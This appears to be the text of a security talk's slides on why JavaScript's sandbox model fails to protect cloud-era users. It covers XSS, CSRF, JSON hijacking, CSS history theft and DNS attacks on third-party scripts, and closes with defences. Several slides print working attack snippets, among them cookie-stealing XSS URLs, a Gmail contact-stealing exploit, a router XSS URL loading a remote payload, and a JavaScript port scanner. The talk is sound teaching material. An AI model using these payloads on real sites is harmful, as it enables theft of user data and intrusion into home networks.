Living in a powder keg and giving off sparks

- JavaScript security is a mess
- The security model is outdated
- Key examples
- Attacking DNS to attack JavaScript
- What are we going to do?
The JavaScript Sandbox

• JavaScript security dates to 1995
• Two key concerns:
  • Stop a malicious web site from attacking your computer
  • Stop a malicious web site from interacting with another web site
The Death of the PC

• If all your documents are in the cloud, what good is protecting your PC?
• The JavaScript sandbox does nothing to prevent cloud attacks
• Who cares if a web site is prevented from reading your “My Documents”: it’s empty
The Same Origin Policy

- Scripts running on one page can’t interact with other pages
- For example, scripts loaded by jgc.org can’t access virusbtn.com
- But the Same Origin Policy doesn’t apply to the scripts themselves
<SCRIPT>

• Inline

<SCRIPT>
    ... do stuff ...
</SCRIPT>

• Remote

<SCRIPT SRC="http://jgc.org/foo.js"></SCRIPT>
Multiple `<SCRIPT>` elements

- Scripts get equal access to each other and the page they are loaded from

```html
<SCRIPT SRC="http://google-analytics/ga.js"></SCRIPT>
<SCRIPT SRC="http://co2stats.com/main.js"></SCRIPT>
```
JavaScript Global Object

- JavaScript is inherently a ‘global’ language
- Variables have global scope
- Functions have global scope
- Objects inherit from a global object
Bad stuff you can do globally

- Different scripts can mess with each other’s variables
- Different scripts can redefine each other’s functions
- Scripts can override native methods
- Transmit data anywhere
- Watch keystrokes
- Steal cookies
- All scripts run with equal authority
JavaScript is everywhere

• `<SCRIPT>` tags

• Inside HTML elements
  <a id=up_810112 onclick="return vote(this)" href="vote?for=810112&dir=up&by=jgrahamc&auth=3q4&w hence=%6e%65%77%73">

• Inside CSS
  background-color: expression( (new Date()).getHours()%2 ? 
  "#B8D4FF" : "#F08A00" );
  background-image: url("javascript: testElement.style.color = 
  '#00cc00';");
No mechanism for protecting JavaScript

• Signed JavaScript mechanism available in Netscape Communicator 4.x

• Remember that?
JavaScript Summary

• The security model is for the wrong threat
• The language itself has no security awareness

• Oh, and it’s the most important language for all web sites
Key attacks

- Cross-site scripting
- Cross-site Request Forgery
- JSON Hijacking
- JavaScript + CSS
- Sandbox Holes
- DNS Attacks
Cross-site Scripting (XSS)

• End user injects script via web form or URL which is then executed by other users
• Persistent: stored in database
• Reflected: usually in a URL

• Injected scripts have the same access as all other scripts
XSS Example: Twitter

Application Name: Oops

Description: Oh dear.

Application Website: http://www.davidnaylor.co.uk/" rel="external"

Where's your application's home page, where users can go to download or use it?

Surely that wouldn't work? They must be doing some checks on the URL. Right?
XSS Example: MySpace

• JS/SpaceHero or Samy Worm
• Automatic friend requests

<div style="background:url('javascript:alert(1)')">
XSS Example: PHPnuke

- Reflected attack
- Requires social engineering

http://www.phpnuke.org/user.php?
op=userinfo&uname=<script>alert(document.cookie);</script>
Script Escalation

- Scripts can load other scripts
- Get a foothold and you can do anything

```html
<script id="external_script" type="text/JavaScript"></script>
<script>
document.getElementById('external_script').src = 'http://othersite.com/x.js'</script>
```
Cross-Site Request Forgery

- Hijack cookies to use a session for bad purposes

  
  <img src="http://bank.example/withdraw?account=bob&amount=1000000&for=malory">

- Enhance with JavaScript for complex transactions.
CSRF Example: Google Mail

- Steal authenticated user’s contact

```plaintext
http://docs.google.com/data/contacts?
out=js&show=ALL&psort=Affinity&callback=google&max=99999

google({Success: true,
Errors: [], Body: {...
```
CSRF Example: Google Mail

• Full exploit

```javascript
function google(data)
    var emails, i;
    for (i = 0; i < data.Body.Contacts.length; i++) {
        mails += "<li>" + data.Body.Contacts[i].Email + "";
    }
    document.write("<ol>") + emails + "</ol>";}
</script>

<script type="text/javascript"
src="http://docs.google.com/data/contacts?
out=js&show=ALL&psort=Affinity&callback=
google&max=99999"></script>
JSON Hijacking

- CSRF attack against JSON objects
- Works by redefined the Object constructor in JavaScript

```javascript
function Object() {
    this.email.setter = captureObject;
}

function captureObject(x) { ...
```
JSON Hijacking Example: Twitter

• Could steal the friends’ timeline for a user

```javascript
Object.prototype.__defineSetter__('user',function(obj){for(var i in obj){alert(i + '=' + obj[i]);}});
```

```javascript
<script defer="defer" src="https://twitter.com/statuses/friends_timeline"></script>
```
Stealing history with JavaScript and CSS

- Use JavaScript to look at the ‘visited’ color of links

```javascript
function stealHistory() {
    for (var i = 0; i < websites.length; i++) {
        var link = document.createElement("a");
        link.id = "id" + i;
        link.href = websites[i];
        link.innerHTML = websites[i];
        document.body.appendChild(link);
        var color =
            document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
        document.body.removeChild(link);
        if (color == "rgb(0, 0, 255)") {
            document.write('' + websites[i] + '');
        }
    }
}
```
Sandbox Holes

- Sandbox not immune to actual security holes
- Most recent was Google V8 JavaScript engine

Google Chrome V8 JavaScript Engine Remote Code Execution Vulnerability Bugtraq: 36149
No Turing Test in JavaScript

• No way to distinguish between actual click by user and JavaScript click
• Can’t tell whether a user initiated an action or not
Attacking your home firewall

• XSS attack on BT Home Hub to use UPnP to open a port

http://192.168.1.254/cgi/b/ic/connect/?url=%22%3e%3cscript%20src='http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5/payload.xss'%3e%3c/script%3e%3ca%20b=
Port scanning in JavaScript

- Port scan using images

```javascript
var AttackAPI = { version: '0.1', author: 'Petko Petkov (architect)', homepage: 'http://www.gnucitizen.org'};AttackAPI.PortScanner = {};AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) {
    var timeout = (timeout == null)?100:timeout;
    var img = new Image();
    img.onerror = function () {
        if (!img)
            return;
        img = undefined;
        callback(target, port, 'open');
    };
    img.onload = img.onerror;
    img.src = 'http://' + target + ':' + port;
    setTimeout(function () {
        if (!img)
            return;
        img = undefined;
        callback(target, port, 'closed');
    }, timeout);};AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout){
    for (index = 0; index < ports.length; index++)
        AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout);
};
```
DNS Attacks

• Attacks on DNS are real (Kaminsky et al.)
• If you can alter the DNS of one remote JavaScript you can take over the page
• For example, google-analytics.com is on 47% of the top 1,000 web sites.
• 69% of the top 1,000 load a web analytics solution remotely
• 97% load something remotely
Attacking TechCrunch
TechCrunch and JavaScript

• 18 remotely loaded JavaScripts
  • mediaplex.com, scorecardresearch.com, quantserve.com, ixnp.com, doubleclick.net, googlesyndication.com, crunchboard.com, snap.com, tweetmeme.com, google-analytics.com

• Additional embedded <SCRIPT> tags

• Compromise one, you compromise the entire page
Load scripts via HTTPS to security?

• Tested all major browsers loading a remote script
• Scripts was from a site with an expired certificate for a different domain name
HTTPS won’t save you

<table>
<thead>
<tr>
<th>Browser</th>
<th>Executed</th>
<th>Indication</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mozilla Firefox 3.5</td>
<td>No</td>
<td>None</td>
</tr>
<tr>
<td>Mozilla Firefox 3.0</td>
<td>No</td>
<td>None</td>
</tr>
<tr>
<td>Mozilla Firefox 2.0</td>
<td>Not automatically</td>
<td>Asked for consent</td>
</tr>
<tr>
<td>Microsoft Internet Explorer 8.0</td>
<td>Not automatically</td>
<td>Asked for consent</td>
</tr>
<tr>
<td>Microsoft Internet Explorer 7.0</td>
<td>Not automatically</td>
<td>Asked for consent</td>
</tr>
<tr>
<td>Microsoft Internet Explorer 6.0</td>
<td>Not automatically</td>
<td>Asked for consent</td>
</tr>
<tr>
<td>Apple Safari 3.2</td>
<td>No</td>
<td>None</td>
</tr>
<tr>
<td>Apple Safari 4.0</td>
<td>No</td>
<td>None</td>
</tr>
<tr>
<td>Opera 9.6</td>
<td>Not automatically</td>
<td>Ask for consent</td>
</tr>
<tr>
<td>Opera 10.0</td>
<td>Not automatically</td>
<td>Asked for consent</td>
</tr>
</tbody>
</table>
What are we going to do?

- Sanitize user input (doh!)
- Don’t just rely on cookies for authentication
- Enforce safe subset of JavaScript
  - CAJA and Adsafe
- Tell people to run NoScript
- Deprecate JavaScript
Sanitize User Input; Escape Output

• It’s not hard!
• Yes, it is...
  • Twitter recently blew it on the application name XSS hole
  • UTF-7 encoding
    +ADw-script+AD4-
    alert(document.location)+ADw-/script+AD4-
  • All versions of RoR vulnerable to Unicode decoding flaw
• Hard to get right with so many languages in the mix
Don’t just use cookies

- Don’t use GET for sensitive requests
- Use more than cookies in POST
- e.g. add a secret generated for that session to prevent simple CSRF attacks
- e.g. RoR has

```ruby
protect_from_forgery :secret => "123456789012345678901234567890..."
```
Safe JavaScript subsets

• Run all third-party code through Adsafe
  • Restricts dangerous JavaScript methods and access to globals

• Or test code with Google CAJA
  • Design to allow widgets to interact safely on pages like iGoogle
Causata’s small contribution

- jsHub: web-site tagging done right
  - Open Source
  - Secure
  - One Tag to Serve Them All

- http://jshub.org/
NoScript

- Mozilla Firefox plug-in that allows fine grained control of which scripts can run on which pages
- An application firewall for JavaScript
- Advanced users only!
Deprecate JavaScript

• It’s not too late. Let’s start again with a language built for security and for the web.

_Ripley_: I say we take off and nuke the entire site from orbit. It's the only way to be sure.
_Burke_: Ho-ho-hold on, hold on one second. This installation has a substantial dollar value attached to it.
_Ripley_: They can bill me.
Conclusion

• The combination of a move to the cloud and a 14 year old security environment scares me
• This problem has to be addressed
• Very hard for end-users to mitigate the risks